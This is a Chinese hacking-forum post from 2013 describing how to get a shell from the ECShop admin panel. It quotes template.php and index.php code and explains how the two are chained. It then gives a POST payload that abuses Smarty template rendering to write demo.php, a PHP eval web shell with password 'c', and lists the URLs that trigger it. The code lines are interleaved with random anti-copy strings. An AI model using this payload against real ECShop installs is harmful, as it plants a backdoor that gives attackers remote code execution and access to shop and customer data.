找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3003|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
! _8 Z1 @7 J) [; r/ V3 u6 b' q) ^. j% O6 _+ `: x2 B
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了0 l- Y) y2 i6 I/ s
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码2 P& z7 F, r# L" y6 s* l
admin/template.php
( i. d0 M) x3 t5 V% g6 m! ?
  I( Q3 R. M3 l- G  s) v5 u1 if ($_REQUEST['act'] == 'update_library')
( F, [: @( P( v  c; @" Q- m5 R  ~
. t* N, Z3 O% I6 t9 T" I, n# X6 C; }2   / w, J5 U/ Z; T5 v8 y6 ?
# Y4 p8 ~! A$ O) a
3 { 1 T' y: v: p: g! D) {5 C, P: h& c  ^( i

. x8 l% k. S+ ]% n; S$ F4 {4     check_authz_json('library_manage'); % e* k1 u; ~+ ^% G9 _1 r( B' x

) {" x' C( S+ S# z4 i5   
2 |/ J/ k" Q& l! v8 b
: L& R3 u; v" r6     $html = stripslashes(json_str_iconv($_POST['html'])); 7 K7 A4 g+ C1 ]. e" |8 A9 U

' p+ n  ~9 P' b# H8 L7   ) ?3 g0 `" v5 G: L1 [6 ~( E8 E

9 ?$ T! i6 m' I* s( R% t+ a8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 ( f8 o. m! a% I/ H

$ z0 I$ u% B* R, t( b6 D9   
2 K# R$ |# u* L) p1 _
; i, c) n$ }6 P10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
3 l. l- q8 u! s& Q/ P5 ~
9 D+ t/ b3 A/ T5 ~. G) ]6 |11   
2 D9 L3 N' J9 }  j7 [! h& y* v  z+ X
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));   O% n/ X' r9 @0 O: r/ e- @7 \3 x
! o$ R7 g4 A6 v
13   
. Q9 q1 S, a7 t+ v2 j
2 Z# O8 C5 R3 j. A" p) N1 v14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 # R0 J' D& @+ C8 H* e
* z6 q" w* J. v) U! C# w5 F
15     { # A) g9 @; e# j0 ~4 o

6 T0 h+ z& \& ?: e16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); - ^/ ^6 ^$ W0 X2 X+ {/ C3 h
7 j8 f( f$ B- x% J6 Q% h
17         make_json_result('', $_LANG['update_lib_success']);
  X( g2 H; N6 |! O& n; U4 I4 D
18     }
6 F; D( d- X: S, J* P1 u6 Y4 o7 k1 [- T9 K
19     else
3 d- ^. W6 J4 X3 t6 H! }3 B; K7 E4 u3 D& R
20     { 6 {: o7 {3 y2 k' n7 E! m% u
# |0 J; }* X" ~; X
21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
* g' K) W5 `3 o( j1 f' X  l& n6 g& J( {( g; `
22     }
' m; z& l/ i0 B) ?5 n
) X0 P. O# j8 I0 g4 N, a23 } 6 y3 r' o* Q5 h7 O# m% g
5 A! Z- ^- W0 p; O3 p6 v. A
那么找个比较方便调用了模板的文件+ A( y: Z7 q. x, z( \8 f1 `+ i
index.php
5 u8 M' }9 o4 _2 ^; \+ h$ O5 u3 N/ f! P* ^  a0 Z, r3 q; f
1 if ($act == 'cat_rec')
* g! _& {+ S0 T/ o( j8 A6 i
; P9 v7 m& ~0 _2   ; R2 [2 t3 H9 P

( q& m! T8 n' {1 w3 { % s) r+ E0 P  j

& Q; N4 n- U7 T/ F/ S9 M+ I' S4   / s6 h4 ^* f" X2 g% B" M* C8 z

- }# h4 t( R9 d0 n! h$ l& S4 \, \; Z5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); 7 Q: r$ S2 ~+ Y4 ]! O
& h2 m0 t0 ]( U2 e
6   
6 H; I" c2 r9 D( j3 S, S! x6 K- w6 h5 ^. B" ]' R
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; & v3 L, s3 r! j* T

0 a9 V! O2 _- p% l2 }3 y8   
( H7 J, P; v$ x( b- k3 P" k1 d3 @  B) l' M6 `, W
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
! Y( @- K. K4 L9 L1 C9 D2 S4 O" B" x
10   
5 {' Z4 f$ ^" y0 [5 A8 }1 u$ y6 w5 L/ Q; W% d; l" I! m% o! A+ D- D! p
11     include_once('includes/cls_json.php');
! F0 a* K9 W$ g1 W* s1 o  d
' f# p1 y. J! G7 W# S5 P5 P1 o12   
5 t8 l. V% t" Q
( E& L/ P* ?7 `% t13     $json = new JSON; ; m* h% k, O' @) B6 m$ G4 M
% z& ~6 G3 q& ?
14   
0 ?8 n+ X, e+ C6 K6 x& P: N, ^+ X5 N5 Q' @% E6 A
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
. O5 D/ x* z" r. o' A1 {6 M0 b3 o3 h7 T3 ~- B" S% R) Z
16   
  J) Q5 r7 u1 Y, e) d9 m/ _, i" w3 h
17     $children = get_children($cat_id); ( l1 K6 x2 ]( {6 Q3 Z- W

# N$ Q5 d7 c- s0 C. h  ?6 \18   
, S. H: I1 I( q' s( c2 f, n% D9 g* T
1 ?9 g8 |( ?5 N* b+ S! h: u19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
: T! J" T1 }0 G9 k& H: S9 X% z7 k% u
20   , V6 T5 w) g( W0 b+ o! l
' p. O% ^; n$ K  x% A8 Z
21     $smarty->assign('cat_rec_sign', 1); 7 I1 ^7 P4 t% ?  F2 L
7 I3 i2 g9 k9 z$ T
22   . Z2 i4 o& R9 Q: V$ x
9 u; k$ Y/ ^3 B
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best : b& e$ j2 k3 Z( P% F

% v5 Z5 b0 Y) n: F24   8 y8 T3 f2 @. i/ o  f8 I
/ e4 M  J- Y, B* q# I: I# s' C
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
7 k- D% p0 q) G9 F
( l) [% w. q( E" [26   + n3 S+ k! y/ p: Z( m

$ N- V) K1 M& e! X1 o27         echo $rec_array[$rec_type];
/ D7 h3 V1 t" S+ K+ [: M& F9 M- B6 F8 a8 }) f# ^
28   
/ A# J; D) _% `& d% F$ B' p: q) k" T! ~  X4 d& k2 h
29     die($json->encode($result));
+ T2 l0 N. y, U! ]& o  ]/ J: _+ J
) I/ J& h5 q7 Z' l30   
1 W4 X/ D, k, [% `
* g2 c4 V* j. f$ f4 S  n31 } - h( ?# P: @/ y" c( x
! t7 `1 K% l( ]# {- R9 R7 X
那么就有利用方法了
3 w6 D. `! i( kpost包到http://localhost/ec/admin/template.php?act=update_library0 U! V  l3 l7 n+ A  `( o
Post内容:) Z% v! b# D! n
; N! c1 B$ v- [; U
​
# k0 P! W5 Z/ E* p8 \( r1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} , Y2 D/ u, O% _. \1 g* G

8 ~" e/ D: F* D% Z% v然后访问http://localhost/ec/index.php?act=cat_rec  d3 t0 s% M/ k. f
. Z/ \8 C  b# Y# [8 d2 j
shel地址:http://localhost/ec/demo.php
. f5 \7 l& O. o, z5 @7 Q# F% H密码c4 Y2 [$ Z2 I0 i3 O5 L
/ y! G1 h3 n# R: ~" S' O
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表